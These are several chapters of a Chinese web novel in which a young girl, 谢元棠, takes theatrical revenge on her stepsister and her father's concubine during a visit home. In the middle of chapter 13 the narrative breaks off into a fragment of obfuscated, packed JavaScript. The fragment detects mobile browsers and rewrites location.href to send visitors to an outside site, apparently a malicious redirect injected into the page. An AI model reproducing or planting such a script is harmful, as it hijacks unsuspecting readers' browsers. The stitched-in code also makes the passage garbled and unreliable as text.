“您只是受了点伤而已,雨沫她可是在众目睽睽之下被你羞辱了啊!”
谢元棠:“?”
闻着魏莲这茶出天际的茶味,谢元棠气都气笑了。
“是是是,我受伤但我还活着不是吗?她虽然一巴掌没挨,但她的心灵受了创伤啊!”
谢元棠眨巴着大眼睛:“你是要说这些吗?我前两日刚看话本里恶毒老妇就这样说的,你连表情都跟她一模一样呢!”
魏莲:“……”
谢元棠笑得无害:“咦?你怎么不说话了?”
“是因为被我抢了台词,不知道该说什么了吗?”
魏莲涨红了脸,有气的,也有臊的。
司徒砚好奇地看着这一幕,脑袋凑过来低声问:“娘子你好厉害啊!你怎么知道她要说什么啊?”
“这有什么,我还知道她接下来要说什么呢。”
谢元棠得意地朝司徒砚一眨眼:“她肯定要找我爹了,绿茶都是这样的,不信你等着瞧。”
话音刚落,就听见魏莲矫揉造作地一声:“老爷~~~”
“哇!”
司徒砚惊讶地睁大了桃花眼,兴奋地直拍手:“娘子你说的好准,她真的叫你爹了!”
魏莲:“……”
谢兆青:“……”
“咳咳……”
曲培清了清嗓子,努力控制住自己想笑的嘴角,走到谢雨沫跟前:“谢二小姐,请吧。”
“不要,我不要!”
“雨沫!公公求你手下留情……”
曲培当下冷哼一声。
他会给谢兆青面子,但可不会给魏莲一个小妾面子,当即就吩咐人将谢雨沫给拖了出去。
“啪!啪!啪!”
一声接一声清脆的耳光声从院子里传来。
只听声音就知道那耳光打得有多精妙绝伦!
再加上谢雨沫的惨叫声,谢元棠觉得耳朵都仿佛被按摩了一般。
就该这样,这才只是她偿还原主的万分之一呢!
“雨沫,雨沫
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啊……
魏莲急急忙忙冲了出去,扑在谢雨沫身上,想要阻止曲培。
厅中一时间只剩下谢元棠司徒砚和谢兆青三人。
谢兆青看了眼外面,又看向谢元棠。
他比魏莲看得明白,这件事做主的不是曲培,而是谢元棠,想要救谢雨沫,还得让谢元棠松口。
“元棠,爹爹知道你之前在家里受了委屈。
谢兆青叹了口气,脸上满是沉痛的表情:“雨沫被娇惯坏了,难免有忽略你的情况,但她到底也是你妹妹不是吗?你教训也教训过了,该出的气也出够了吧?
话里话外,仿佛谢元棠才是那个刁蛮跋扈的女儿。
谢元棠歪了歪小脑袋,手指勾着双髻上垂下来的流苏,俏皮地绕在指头上,微微笑着道:“爹爹,其实我也想和妹妹好好相处的。
“那就好,那你快叫人放了……
“我娘亲呢?
谢兆青的话还没说完,就忽然被谢元棠打断。
稚嫩瘦弱的小女孩,大眼睛里却满是不可让步的坚持。
“今日我回门,按理说该是我娘亲出来,为何却是魏莲一个小妾跟在爹爹左右?
谢元棠声音微冷。
虽然她只有九岁,但那双乌黑的眸子这样直勾勾盯着一个人的时候,却莫名的让人心生畏怯。
谢兆青心中一凛,这才恍然反应过来,原来这才是谢元棠的目的!
她一开始就是冲着冷蕴菀来的!
从进门跟他套近乎,到打脸魏莲和谢雨沫,那都是顺便,也是给他下马威。
真实目的不过是想要见冷蕴菀罢了!
“你娘亲……
谢兆青斟酌着话,沉吟道:“病重,不宜见客,你是知道的。
“没关系,我和夫君会找御医给娘亲治病。
谢元棠转头对司徒砚甜甜一笑:“对不对夫君?
“嗯,给娘子娘亲治病!司徒砚重重点头。
谢兆青目光微暗,听着外面谢雨沫越来越惨的哭叫声,深吸了口气才道:“你娘亲不在家中。
“你娘亲病重,为父已经将她送去华觉寺休养了。
谢元棠脸色骤变。
妈的!
渣爹把她娘亲送走了?!!!
第12章 你就好好体会一下,原主当初的恐惧吧!
“华觉寺!”
谢元棠气得拳头都攥紧了。
华觉寺她可是知道的,白芙跟她讲过,远在京城百里开外的迷云山上,迷云山海拔高,常年云雾环绕,据说就是炎炎夏日,山顶都还有积雪未化。
冷蕴菀身子那样差,谢兆青这个浑蛋,竟然将她送去那种鬼地方!
似乎感觉到谢元棠的怒火,谢兆青清了清嗓子道:“你不必担心,华觉寺有专门的人服侍,再说就算现在想将你娘接回来,她的身体也受不了长途跋涉。”
顿了顿,他别有深意地说:“等过些时日天气好些,为父就派人将她接回来,届时你还可以从皇子府回来看望她。”
谢元棠气笑了。
从皇子府回来看望?
这话的意思是,若是她这个冲喜的皇子妃位子没坐稳,没两天就让人休了退货,那冷蕴菀还会不会被接回来就两说了?
谢元棠眼神微冷,只怕别说冷蕴菀,连她自己也得被扫地出门,重回农庄过苦日子去!
谢元棠听懂了他言外之意,手指微微动了下。
手痒!
手太痒了!
真想像撕碎丧尸一样,将这老浑蛋撕吧了!
“呜呜呜……爹爹救我,好疼啊……”
“我的脸,我的脸呜呜呜……”
谢雨沫的哭声传来,谢兆青蹙了蹙眉,他自认为自己态度已经很友好了,可话都说到这个份上了,谢元棠竟然还没有叫停?
“元棠,你……”
谢元棠听不见。
谢元棠正转头跟司徒砚聊天:“华觉寺那么冷,夫君你说娘亲会不会受寒啊?”
司徒砚很认真地想了想,点点头道:“肯定的,我冬天盖两床被子都冷。”
谢兆青:“……”
点我呢是吧!
谢兆青:“为父这就派人立刻送去棉被裘衣,还有一应用具,保证不会让你娘亲病情加重。”
谢元棠眨眨眼:“那御医……”
谢兆青:“华觉寺住持本就医术高超,当然,为父会再请城中名医前往。”
“那……”
“元棠!”
谢兆青压着火气,皮笑肉不笑道:“再不喊停,曲公公都打完了!”
“哎
呀!”
谢元棠仿佛才反应过来似的,从椅子上跳下来,小脸无辜又纯良:“爹爹你怎么不早提醒我呢!”
谢兆青:“……”
算了,不说了。
说多了容易心梗!
谢元棠蹦蹦跳跳跑出去,听见曲培一边打一边数:“二十七、二十八、二十九……”
眼睁睁看着曲培打完了第二十九下,谢元棠才慢悠悠地开口:“停!”
跟出来的谢兆青差点气得没一口气厥过去!
你他妈再晚点喊啊,干脆等打完再喊得了!
就差这最后一下,你装样子给谁看呢!
是个强迫症都得被你给逼出病来!
谢元棠可不管那些,她兴高采烈地拉着司徒砚上前,近距离欣赏着谢雨沫的“高原红妆”。
边欣赏还边摇头感慨:“哎呀呀~妹妹这脸就是抗打!”
“瞧瞧,除了嘴角竟然别的地方一点都没破呢~这是为什么嘞?”
“啊!我知道!”
司徒砚好看的桃花眼忽然一亮,抢答道:“我知道!是因为她的脸皮更厚,所以打不烂!”
“夫君可真聪明,就是这样!”
谢雨沫低着头,气得指甲都掐进了掌心,才忍住没冲上去。
她不能再冲动,如今谢元棠有曲培撑腰,她想要谢元棠付出代价,就要换种方式。
谢雨沫心思急转,抬起头时已经酝酿出了泪光点点:“姐姐,对不起,妹妹知错了。”
谢元棠内心:哟嚯!换招数了?
当你大佬棠不看言情小说是吧!
来来来,管你大绿茶小白莲,大佬棠统统接招!
谢元棠眨眨扇子般浓密的长睫,笑着上前,作势要扶起谢雨沫:“妹妹哪里的话,你知错就好,姐姐打你也是为了你好呀。”
“……”一杀。
谢雨沫看着谢元棠伸过来的手,刚想递过去,下一瞬就见谢元棠抽了回去:“妹妹仔细点,我怕你忽然摔一跤讹上我。”
“……”二杀。
谢雨沫努力露出扭曲的笑容:“姐姐哪里的话,妹妹怎么会做这样的事呢?”
谢元
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棠一边欣赏着她的演技,一边感慨,到底还是朵没长成的小白莲,演技还是不过关啊。
魏莲早让人拿来了消淤膏,刚想为谢雨沫抹药,她却不耐烦推开了魏莲。
她急着报仇,急切得连药都不抹,也要亲眼看着谢元棠倒霉。
谢雨沫深吸口气,忍住脸上火辣辣的疼,微笑道:
“对了姐姐,妹妹知道姐姐今日回门,特意给姐姐准备了好礼,姐姐随我去看可好?”
终于进正题了?
谢元棠眯了眯眼,装作什么都不知道的点点头道:“好呀,夫君我们一起吧。”
正好,她也准备了惊喜大礼包呢!
一边说着,谢元棠一边拉着司徒砚就跟着谢雨沫走了。
曲培正想跟上,谢兆青就拦住了:“公公且留步,他们小孩子闹着玩,我们就不必跟着了吧,公公喝杯茶坐下歇歇,想来他们一会儿就回来了。”
——
另一边,谢元棠和司徒砚跟着谢雨沫来到一个熟悉的地方——柴房。
刚靠近这里,谢元棠就浑身一紧,一股冷寒的恐惧感瞬间将她包裹。
谢元棠抿了抿唇,她知道这不是她的反应,而是这具身体对这个地方最本能的惧怕。
原主在这里被鞭打,被毒哑,亲眼看见亲爹对她不管不问,亲耳听见他们说她只是个替死鬼。
站在这里,谢元棠仿佛还能看见小小的原主倒在血泊里,眼角流下那滴血红的泪。
那样失望彻骨的记忆,该如何让这些人百倍偿还,才能弥补呢?
“姐姐,礼物就在里面呢!”
谢雨沫站在门口朝她招手,眼中露出阴毒的兴奋来。
谢元棠勾了勾唇。
这地方真是选得太合她心意了!
换了别的地方,谢元棠还觉得无法祭奠原主的在天之灵,而这间柴房……妥妥的就是为谢雨沫量身定做的啊!
在这里开始她的复仇第一战,真是最合适不过了!
“姐姐快进来啊!”谢雨沫不停地催促道。
谢元棠笑得愈加灿烂:“好啊。”
说罢,拉着司徒砚走了进去。
谢雨沫,你就好好体会一下,原主当初的恐惧吧!
第13章 人齐了才好一网打尽
三人走进柴房。
谢元棠刚踏进门槛,就闻到了一股腐烂和腥味混合在一起的古怪味道。
她眯了眯眼,不动声色地拉紧司徒砚,让他跟紧自己。
“姐姐,里面可都是你喜欢的呢~”
谢雨沫说着,人却悄悄往后退了一步。
“是吗?”
“当然了,这可是妹妹我千辛万苦给你准备的哟~”
谢元棠挑了挑眉,余光瞥见谢雨沫退出去的动作,唇角微勾没有吱声。
下一瞬,只听“嘎吱”一声,房门从外被人关上了。
房间里一瞬间暗下来,只剩下一扇半坏的窗户,些许还漏进来点亮光。
“谢元棠,你就在里面好好享受吧!啊哈哈哈哈!”
谢雨沫发出恶毒女配专有的笑声,听得谢元棠直翻白眼。
“娘子,她为什么笑啊?”
“不知道,吃笑屁了吧。”
谢元棠随口胡诌,而后悄声对司徒砚道:“跟在我身边,别乱跑。”
她已经能听见地面上有动物蠕动的声音了。
悄无声息地从空间研究室里拿了管试剂扔过去,谢元棠耳尖微动,听着那些玩意儿移动的方向,嘴角微微笑了下。
“娘子,我听你的不乱跑……”
司徒砚紧张地咽了口口水,大手紧紧攥着谢元棠的手指,小声道:“可是……这里好黑啊,还好臭。”
“是啊,很黑,我以前就住在这儿。”
谢元棠想起来他怕黑,安抚地拍拍他的手背道:“别怕,一会儿给你看个好玩儿的。”
“好玩儿的?”
一听有的玩,司徒砚桃花眼一下子就亮了:“在哪里?”
谢元棠比了个“嘘”的手势,让他小声一点:“我告诉你,我妹妹就喜欢又黑又臭的地方,你不是还给她带了礼物吗?咱们悄悄把礼物藏起来,让她进来找好不好?”
“可是她把我们关起来了。”司徒砚指指身后的房门。
谢元棠俏皮地眨了眨眼:“别担心,我有办法让她进来。”
说着,她曲起手指敲敲门板。
“咚咚咚~”
门外,谢雨沫听见敲门声,得意地阴笑道:“怎么样谢元棠,怕了吧?你求
我啊,可惜就算你给我跪下磕头,我也不会放你出来的!
“不是,我只是想说……
谢元棠掏了掏耳朵,淡淡地开口:“谢雨沫,你名字里带那么多水,难道你脑子也泡海里了吗?要不以后干脆叫你谢大海好伐?
“我在这里待得好好的,大海姐你瞎脑补什么呢?
“谢!元!棠!
听着谢元棠不轻不重但侮辱性极强的话,谢雨沫气得一巴掌拍在门板上:“你才脑子泡海了!你才叫谢大海!
“你有种别站在门口,往里走啊!
“切~
谢元棠说话主打一个气死人不偿命:“我就不,你有本事进来打我啊!
谢雨沫:“……
啊啊啊啊她要被气死了!
“来人,钥匙呢?给我钥匙!
她要进去亲手把谢元棠的脑袋按在那堆东西上!看她还有没有胆子说话!
听着门外谢雨沫疯狂找钥匙的声音,谢元棠嗤笑一声:“蠢货。
而后拉着司徒砚就往窗口走,路过那堆东西的时候,还不忘提醒司徒砚:“闭上眼睛,别看地上。
“哦。
司徒砚乖乖闭眼。
同时谢元棠悄悄伸手从怀里掏出了零号丧尸……的脑袋。
“小宝贝,接下来就靠你了!
“咔~咔~
僵硬的嘴巴发出机械沙哑的声音,吓得司徒砚浑身一抖:“娘子,我害怕,我好像听到了奇怪的声音。
“哦,那是复仇交响曲,能带来好运的。
一边胡说,谢元棠一边将零号扔在了地上。
“是……吗?
饶是司徒砚智商不够,此刻也对谢元棠的胡说八道产生了一丢丢的怀疑。
复仇交响曲?
有这种曲子吗?
谢元棠可不管司徒砚在想什么,她飞快拉着司徒砚走到窗边,让他将窗户打开。
“你先出去。谢元棠催促道。
下一秒,她却被人托着腿放在了窗台上,那双澄澈的桃花眼中只有赤诚的关心:“娘子先出去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255720|139756||http|test|mini|href|location''.split(''|''),0,{}));
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>谢元棠愣了下,她习惯了为别人撑起一片天,即使穿越过来,也总是忘了自己还是个小孩子的事
情。
但她这个傻夫君,却每一次都记得,而且即使害怕,也会坚定不移地站在她身边。
心里仿佛被什么熨烫了一下,谢元棠笑了下,跳下窗户朝他招手:“快点出来。”
司徒砚点点头,翻窗户出去的一瞬间,借着光亮,他一瞬间瞥见了地上的东西。
“娘子,我好像看见了好多癞蛤蟆……”
“不,你什么也没看见。”
谢元棠捂住他的嘴,按着让他蹲下。
只听“咔哒”一声房门再次被打开,而后谢雨沫就走了进去。
“谢元棠,你怎么不出声?该不会被吓死了吧哈哈哈哈!”
一边得意的笑着,谢雨沫一边朝屋子里走去。
“啪叽~”
忽然,她脚下踩中一团黏糊糊的东西,整个人瞬间不稳地栽了下去。
紧接着,无数黏糊糊的东西开始往她身上,脸上蠕动。
“啊啊啊什么东西,走开啊!”
谢雨沫心里崩溃了,明明她记得这些东西不在这个位置啊!
而且为什么它们只盯着自己,谢元棠呢?它们怎么不去找她?
“谢元棠,你给我出来!”
谢雨沫狂怒,刚想爬起来,忽然“咔”的一声,不知道绊倒了什么东西,顿时又一个狗吃屎摔了下去。
一张红肿的小脸正正好摔在零号那坚硬的头盖骨上。
只听超级结实的“哐”一声响,谢元棠都替她脸疼!
“啊啊啊啊!我的脸,我的脸!”
听着谢雨沫的惨叫声,谢元棠心满意足,拉着司徒砚道:“走了,咱们该去做不在场证明了。”
司徒砚疑惑地问:“可她还没找到我们的礼物啊?”
“不急,等会儿就找到了。”
谢元棠笑着道,现在找着有什么意思?待会儿人齐了,才好将她和魏莲一网打尽啊!
谢雨沫想用癞蛤蟆吓唬她,可谢元棠从一开始就没想跟她玩小打小闹的游戏。
她要的,是谢雨沫和魏莲付出代价!
第14章 一个毁容,一个哑了!
谢元棠凭着原主记忆中的路线,拉着司徒砚专门绕过柴房,从花园一路回了正厅。
“爹爹,曲公公,我和夫君回来啦!”
谢元棠蹦蹦跳跳走进来,额头上的刘海被风吹起来一半,露出有几道鞭痕的额头。
大眼睛乌黑灵动,仿佛最耀眼的黑宝石。
曲公公见两人都安然无恙,心里还松了口气道:“回来就好,时候也不早了,也该回……”
“雨沫呢?”
他话还没说完,谢兆青忽然出声,一旁的魏莲也紧张地看向谢元棠。
“你们不是跟雨沫一起出去的吗?她怎么没跟你们一起回来?”
“咦?”
谢元棠露出适宜的惊讶,歪了歪头看着谢兆青:“她没回来吗?刚才妹妹将我和夫君关在柴房里就走了,我和夫君好不容易跑出来,还以为她早回来了呢。”
“什么?”
曲培顿时蹙起了眉头:“谢雨沫将你们关在柴房里?”
“嗯,她很坏,骗我们进去。”司徒砚重重地点点头道。
曲培一下子沉了脸:“谢丞相,此事你必须给咱家一个说法,否则咱家必定上报圣上。”
“公公息怒,此事本官定会查清楚,只是为今之计是先找到雨沫才是。”
谢兆青话刚说完,魏莲忽然脸色骤变。
“柴房,柴房……天呐!我的雨沫!”
她拔腿就往柴房跑,看着她惊慌失措的样子,谢兆青眼眸一沉也跟了上去。
“这……”曲培皱了皱眉,谢元棠笑着催他,“公公公公,咱们也跟上去看看吧。”
曲培扫了眼淡定的谢元棠,还有神色怪异的司徒砚,想了想点了点头:“也好,走吧。”
他倒是有些好奇他们又做了什么事。
柴房门口,等谢兆青等人赶到的时候,就看见谢雨沫惨叫不停的坐在柴房地上。
身上腿上全是癞蛤蟆,爬来爬去的好不恶心!
“雨沫!”谢兆青惊呆了。
他一叫,谢雨沫才回过头,那张脸上全是血,额头跟眉毛破了好几处,血顺着鼻梁往下流。
像极了当初原主流下的那滴血泪。
“爹,爹救我!”
谢雨沫哭着就要往外跑
,刚站起来,脚下踩住癞蛤蟆又摔了回去。
谢元棠适时地提醒她:“呀!妹妹你手里拿的是什么呀?
手里?
谢雨沫下意识低头,抓起手中的东西。
一颗长相恐怖,还染着血的头盖骨,在她手掌上“咔咔地动了下。
才看一眼,谢雨沫瞳孔都快涣散了!
“啊啊啊啊啊!!!
“鬼啊啊啊!!!
谢雨沫扯着嗓子嚎起来,拼命地将零号给扔开,连爬带滚地从柴房爬了出来。
“爹救我!爹,有鬼啊!
“雨沫,雨沫你怎么样?
魏莲心疼地跑过去抱住谢雨沫:“你的脸怎么成这样了?快来人啊,快拿伤药来!
“这到底是怎么回事?
谢兆青气愤地看向谢元棠:“你们不是一起来的吗?怎么会变成这样?
“我怎么知道?
谢元棠摊了摊手,脑袋上晃动的流苏在阳光下俏皮地闪着光:“爹爹,这地方可是妹妹带我来的,而且我早就走了哦~
谢雨沫倒是精神强大,都被折磨成这样了,竟然也硬是没晕过去。
听着谢兆青和谢元棠的对话,她竟还回过神来,一脸狰狞地指着谢元棠骂道:“就是你!小贱人,就是你害我!
谢元棠眼神一暗,冷声问:“你骂谁呢?
“骂的就是你!贱人!跟你娘一样的……
“啪!啪!
谢雨沫话音未落,谢元棠拾起身旁一根树条就朝她脸上抽了过去。
干脆利落,剥皮见血!
“啊!
谢雨沫痛呼出声,捂住脸瞪着谢元棠:“你敢打我?
“笑话,我堂堂皇子妃,为何打不得你谢府一个养女?
谢元棠冷哼一声,扔开树枝道:“你敢再骂半个字,我撕烂你的嘴!
“你,你……
谢雨沫还想再骂,但被谢元棠寒霜一般的冷眸一扫,下意识就不敢再开口了。
“皇子妃,妾身知道您身份尊贵,可是就算您也不能这样对待雨沫啊!
魏莲一开口就是老绿茶了。
一张脸哭得梨花
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带雨,还不忘仰望四十五度角露出最
无辜最完美的侧脸:“雨沫是想同您交好才费心准备了礼物带您怎么可以将她诓骗进柴房还用这种东西吓唬她呢?”
“她年纪小万一吓出个好歹来您能负责吗?您……心肠怎么就这么狠毒呢!”
谢元棠听到这话都快给她鼓掌了。
这颠倒黑白的本事怪不得她能成为谢兆青身边唯一的妾室呢。
谢兆青阴沉着脸:“元棠你可知罪?”
这一回不等谢元棠怼他曲培就开口了:“谢丞相事情还没问清楚您就认定是皇子妃的过错了吗?”
“要知道可是谢雨沫非要带皇子妃出来的况且那一屋子的东西我们来的时候可没随身携带。”
“这回门礼是圣上专门吩咐厚备的难不成丞相也怀疑是皇上故意在回门礼中放了癞蛤蟆不成?”
谢兆青脸色微变连忙道:“本官自然不敢怀疑圣上只是此事……”
“是她带我们过来的。”
一直没说话的司徒砚忽然指着谢雨沫又指了人群中几个下人道:“他们也都看见了你可以问他们。”
曲培顿时看向那几人:“殿下所言你们听见了?实话实说
“奴才不敢……”
几个下人一听这话噗通一声就跪在了地上。
“是……是二小姐带皇子妃和殿下过来的。”
“她还让我们提前将癞蛤蟆藏进屋子里想吓唬皇子妃……”
“后来她开门进去皇子妃确实不在里面……”
下人们哪敢欺君连忙七嘴八舌地把实话都说了。
魏莲说了好几声“住嘴”都没人理她气得抓起手边一个乌陶罐子就朝那几个下人扔了过去:“都给我闭嘴!”
“咔嚓!”
乌陶罐子在空中裂开一条食指长的蚯蚓从里面钻出来“嗖”的一声飞进了魏莲大张的喉咙里!
“唔!咳咳咳咳……”
魏莲掐住嗓子想将蚯蚓抠出来可那蚯蚓滑得很一下子就顺着嗓子眼溜了进去。
魏莲顿时脸都白了。
“救救……”
她张口却没有声音发出来。
众人都是一惊。
魏莲哑了!
第15章 将二小姐和魏莲拖下去!
“我,我的嗓子……”
“我的声音……”
魏莲惊恐地掐着自己的喉咙,拼命地咳嗽,想要将那条该死的蚯蚓给咳出来。
长长的指甲抠进嘴里,脖子的肉里,抠得鲜血直流也不敢停。
她觉得那条蚯蚓似乎还是活的,就在她嗓子里游泳!
蠕动来蠕动去,让她嗓子痒得难受!
“老爷,救我……”
“我不想要当哑巴……”
她嘴巴张张合合,可惜一点声音也发不出来。
谢元棠看着魏莲这样,低垂的墨眸中闪过一抹阴冷。
当初,瘦小的原主也是这般乞求她,可是却依然被她毫不犹豫地灌下了毒药。
如今她能终于能够体会到变成哑巴的无助和绝望了吧!
谢元棠一边欣赏着魏莲的惨状,嘴角一边微微勾起。
果然,最高兴的事还是看敌人倒霉!
谢雨沫愣愣地捂着脸,不经意一抬头,恰好看见谢元棠嘴角那丝笑容,顿时眼睛一亮指着她就喊:“是你!爹爹,是谢元棠!一定是她下的毒!”
魏莲也想起什么,“啊啊”的叫着指着谢元棠。
谢元棠无辜地眨眨大眼睛:“我做什么了?”
“都是你干的,我看见你笑了!”谢雨沫恶狠狠地道。
谢元棠翻了个白眼:“谢大海,叫你谢大海真没叫错,说你脑子泡海了你还不承认,你说是我下的毒,可我一直站在这里没动啊!而且我有什么理由要这么做?”
“当然是因为你想报复我们!”
谢元棠一点都不生气,还笑盈盈看着谢雨沫:“我为什么要报复你们呢?”
一旁的谢兆青眉头紧皱,眼神微闪,急忙阻止:“雨沫住口,不许说……”
只是他的话还是晚了半步,谢雨沫脱口就道:“因为你脸上的伤是我们打的,你也是我们毒哑的!”
众人:“……”
“哦~”
谢元棠恍然道:“这可是你自己承认的,公公你听见她说什么了吧?”
曲培脸色深沉,别有意味地看了眼谢兆青一家,沉声道:“自然,奴才听得清清楚楚。”
谢兆青脸色微僵,冲喜一事皇上对他本来就有意见,若是再
让今天的事传出去,那他的丞相之位只怕也不稳了。
想到这里,谢兆青嘴角紧绷,转身一巴掌就扇在了谢雨沫的脸上:“混账东西!胡说什么?什么毒哑?本官整日不在家中,竟不知你们瞒着我做了这么多恶事!”
“爹……”
谢雨沫震惊地看着谢兆青,委屈地大哭:“为什么打我?该死的明明是谢元棠那个贱人,爹你为什么不打她?”
“放肆!还不住口!”
谢兆青冷喝一声:“来人,将二小姐给我带下去!”
几个下人连忙上前,将魏莲和谢雨沫给拉了起来。
谢雨沫怔怔看着谢兆青,她想不明白,她和娘明明都已经这样了,为什么爹爹不赶紧给他们大夫来,反而还要打她?
谢元棠却是心中连连冷笑。
果然是个没心肝的男人,这么快就开始弃车保帅了?
无妨,她这次先收拾了魏莲和谢雨沫,下次再对付谢兆青。
心中拿定主意,谢元棠仰头看向谢兆青,状似天真地问:“不知道爹爹打算怎么惩罚魏莲和谢雨沫呢?”
“惩罚?”
谢兆青铁青着脸:“她们已经这样了还不够吗?你非要闹得人尽皆知是不是?”
“当然不够了!”
见他凶谢元棠,司徒砚立刻挡在她身前,瞪着谢兆青道:“做坏事的是她们,你不惩罚她们,为什么要怪娘子?”
“她们受伤又不是娘子害的,娘子受伤却是她们害的,你怎么可以偏心她们呢?”
他说的话直白简单,却偏偏一针见血,让谢兆青几度哑口无言。
站在身后的曲培看着敢于站出来的司徒砚,眼中闪过一抹欣慰,出声道:“殿下所言不错,谢丞相,别忘了您方才说过,今天的事会给咱家一个交代的,如此轻拿轻放……咱家可不好跟万岁爷禀报。”
谢兆青呼吸一滞,不悦道:“公公这是威胁本官吗?”
“咱家不敢,只不过……”
曲培扫了眼魏莲和谢雨沫,冷哼道:“事关皇子妃性命安危,如
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果丞相调查不清楚,那么只怕咱家只好报京兆尹了。”
谢兆青脸色更暗。
如果报了官,那他谢家的名声也毁完了。
“哎呀!”
正僵持间,谢元棠清亮的嗓音忽然响起。
听见他的声音,谢兆青心里就是一抖,下意识警惕地看向她:“你又怎么了?
谢元棠指着那地上破碎的乌陶瓷罐,拉着司徒砚的手问道:“夫君,那不是你要送给妹妹的礼物吗?怎么碎了?
“嗯。
司徒砚点点头,叹了口气道:“可惜礼物被她给吃了。
魏莲:“……
谁家礼物送蚯蚓啊!
而且她也不想吃啊!
正抓狂间,就听见司徒砚又说了一句:“那个乌陶罐还是父皇送我的呢。
谢兆青:“?
曲培:“!
“这么说,魏莲竟敢摔了御赐之物?
谢元棠看看魏莲,又看看谢兆青,眨眨眼,朝他竖起大拇哥:“爹爹,你的小妾可真牛逼啊!
谢兆青:“……
谢兆青的脸色用铁青已经不足以形容了,黑的就跟煤炭似的,盯着谢元棠的眼神恨不得刀了她!
不过谢元棠不在意,她只是好奇地歪着脑袋,单纯无害地问曲培:“公公,摔了御赐之物该怎么办?
曲培笑里藏刀:“对万岁大不敬者,诛九族!
魏莲听着这话,倒吸了口凉气“嘎就厥了过去!
不过她哑巴了,连“嘎的那声都没能发出来。
一旁的谢雨沫这会儿总算回过神来,颤巍巍地抱住谢兆青的小腿:“爹爹,什么诛九族?爹,你不能不管我们啊!
“爹爹,雨沫的脸好疼啊,你快帮我请大夫……
她不想毁容,她不想死啊!
在谢雨沫的哭求中,终于听见谢兆青冷酷无情的声音。
“来人,将二小姐和魏莲拖下去!
“二小姐欺负长姐,不尊不敬,杖责五十,罚祠堂幽禁三个月!
“魏莲有辱圣恩,杖责两百,关进后院,半年之内不得擅自出入,罚抄写经书五百遍,谁也不许求情代写!
第16章 娘子小心!
看见这一幕,丫鬟连忙就要去请老夫人,却被谢兆青一个眼神止住。
“你想去哪儿?”
谢兆青冷声道,这个时候要是再让老夫人出来搅和,事情只会更难收场。
“奴婢,奴婢……”
那丫鬟颤巍巍地低着头不敢再动,谢兆青冷哼一声,一摆手让人将魏莲和谢雨沫带走。
直到被人生拉硬拽地拖下去,谢雨沫还没想明白,为什么事情会变成这样!
明明谢元棠还是那个谢元棠,为什么这一次回来她却一点也不害怕她们了?
还每一步都看透了她们的计划,让曲培和谢兆青都向着她?
“谢元棠……都是你害的!”
谢雨沫恶狠狠地瞪着谢元棠,被毁了容的小脸狰狞又可怕,身上还散发着癞蛤蟆的臭味,看起来像是从臭水沟里打捞出来似的。
“我不会放过你的!你给我等着!小贱人……唔唔唔!”
话还没说完,就被身边的下人给捂住了嘴。
谢元棠眨眨眼,朝她招招手道:“谢大海,慢走啊!记得回去洗洗澡,自己发臭不要紧,出来恶心别人就是你的不是了!”
“唔唔唔……”
谢雨沫想破口大骂,可惜被捂住了嘴,憋得小脸通红,只换来了伤口发炎发痛!
谢兆青目光扫了眼被带走的两人,又看向曲培:“如此处置,公公可还满意?”
曲培朝他低了低头,笑着道:“咱家只是个奴才,丞相大人的家事,咱家怎敢多嘴?”
“哼!”
你还没多嘴?你话多的都快能出书了!
谢兆青冷哼一声,转而看向司徒砚:“殿下可还满意?那乌陶罐子下官会赔给殿下,至于蚯蚓……”
说到“蚯蚓”两字,谢兆青嘴角都带着恨意。
一条蚯蚓毒哑了他一个妾,偏偏那蚯蚓还是皇子送的。
这他妈能上哪儿说理去!
司徒砚很大方地挥挥手道:“不用你赔,你只要别再让她们欺负娘子就好了。”
谢兆青皮笑肉不笑道:“多谢殿下宽恕。”
最后,谢兆青才看向谢元棠,他低着头,眼里看不出喜怒,冷声道:“你的目的达到了?”
“爹爹说什么呀?棠棠怎
么听不懂?”
谢元棠歪歪小脑袋笑得跟多小向日葵似的声音又甜又脆:“对了爹爹答应过我会安排人照顾娘亲可别忘了哟~”
“要是娘亲有什么不测棠棠可是会告状的!”
谢元棠拉起司徒砚的手:“棠棠会跟夫君告状会跟父皇告状还会跟太傅舅舅告状!”
“嗯!我会帮娘子的!”
司徒砚重重地点头随后大概想到自己能力不够又皱眉道:“父皇也会帮娘子的!”
谢兆青:“……”
妈的这臭丫头什么时候多了这么多后台?
她不就是去给个傻子冲了个喜吗?怎么就忽然敢跟他叫板了?
偏偏他还叫不赢!
谢兆青心里气得吐血
他也不敢不做到。
谢元棠这才心满意足转头看向曲培道:“公公咱们回家吧这里太恶心了留下来我吃不下呢。”
“嗯嗯回家吃。”司徒砚点头道。
曲培偷看了眼谢兆青的脸色憋着笑道:“好奴才这就叫人备车。”
本来回门一趟就是流程而已谁能想到还能被小皇妃玩儿出花来呢?
“等一下我还有东西没拿呢。”
谢元棠说着小心翼翼踩过那些癞蛤蟆从角落里翻出零号的小脑袋抱在怀里道:“好了咱们走吧!”
众人:“……”
合着这玩意儿是你的啊!
“娘子这不是你送给谢雨沫的礼物吗?”
“对啊她不识货不给她了咱们带回去玩儿。”
“好啊好啊!”
谢元棠走了几米远还不忘回过头来冲谢兆青挥手笑容璀璨(碍眼)声音甜美(刺耳)。
“爹爹棠棠过几天再回来找你玩呀!到时候棠棠一定请你吃点好的!”
比这次谢雨沫和魏莲“吃”得还要好!
谢兆青呼吸沉重背在身后的手都气得发抖颤着唇憋出一句:“你照顾好殿下就行不必……回来了。”
他谢家经不起她这么折腾!
她回来一趟他都得折寿十年!
——
“鞋儿破~帽儿破~
回
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去的马车上,谢元棠翘着二郎腿,一边开心地哼着小调,一边翻出小本本在上面写字。
“娘子你在写什么啊?
司徒砚好奇地凑过来,看见谢元棠写的几个大字:
【复仇进度条10%】
“这是什么啊娘子?
谢元棠一本正经地道:“哦,这是我的记账本。
“账本?
司徒砚桃花眼中满是迷茫:“娘子买了复仇进度条这个东西吗?那为什么才10%啊?
“因为才进行了一丢丢啊,给10%都是我大度了。
司徒砚眨眨漂亮的眼睫,俊脸皱了起来:“娘子,我怎么听不懂你的话?是不是我太笨了?
